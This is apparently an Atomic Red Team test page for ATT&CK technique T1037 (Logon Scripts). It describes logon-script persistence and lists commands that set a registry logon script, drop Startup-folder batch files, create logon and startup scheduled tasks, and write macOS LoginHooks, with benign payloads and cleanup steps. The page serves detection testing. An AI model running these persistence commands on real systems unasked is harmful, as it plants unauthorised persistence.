Skip to content

Latest commit

 

History

History
148 lines (84 loc) · 5.12 KB

T1037.md

File metadata and controls

148 lines (84 loc) · 5.12 KB
Raw

T1037 - Logon Scripts

Description from ATT&CK

### Windows

Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.

If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

Mac

Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.

Atomic Tests


Atomic Test #1 - Logon Scripts

Adds a registry value to run batch script created in the C:\Windows\Temp directory.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
script_path Path to .bat file String $env:SystemRoot\Temp\art.bat
script_command Command To Execute String echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037-log.txt

Attack Commands: Run with command_prompt!

echo cmd /c "#{script_command}" > #{script_path}
REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}"

Cleanup Commands:

REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f
del #{script_path} >nul 2>nul
del "%USERPROFILE%\desktop\T1037-log.txt" >nul 2>nul


Atomic Test #2 - Startup Folder Script

A batch file created to run on startup when placed in the start menu folder

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
user_command Path to .bat file String echo Art "Startup Folder Script" atomic test for $env:USERNAME was successful. >> $env:USERPROFILE\desktop\T1037-log.txt
system_command Command To Execute String echo Art "Startup Folder Script" atomic test for $env:COMPUTERNAME was successful. >> $env:USERPROFILE\desktop\T1037-log.txt

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1037.bat" -force
Set-Content "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1037.bat" "cmd /c #{user_command}"
New-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1037.bat" -force
Set-Content "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1037.bat" "cmd /c #{system_command}"

Cleanup Commands:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1037.bat" -ErrorAction Ignore
Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1037.bat" -ErrorAction Ignore
Remove-Item "$env:USERPROFILE\desktop\T1037-log.txt" -ErrorAction Ignore


Atomic Test #3 - Scheduled Task Startup Script

Run an exe on user logon or system startup

Supported Platforms: Windows

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

schtasks /create /tn "T1037_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1037_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"

Cleanup Commands:

schtasks /delete /tn "T1037_OnLogon" /f
schtasks /delete /tn "T1037_OnStartup" /f


Atomic Test #4 - Logon Scripts - Mac

Mac logon script

Supported Platforms: macOS

Run it with these steps! 1. Create the required plist file

sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist

  1. Populate the plist with the location of your shell script

    sudo defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh

  2. Create the required plist file in the target user's Preferences directory

    touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

  3. Populate the plist with the location of your shell script

    defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh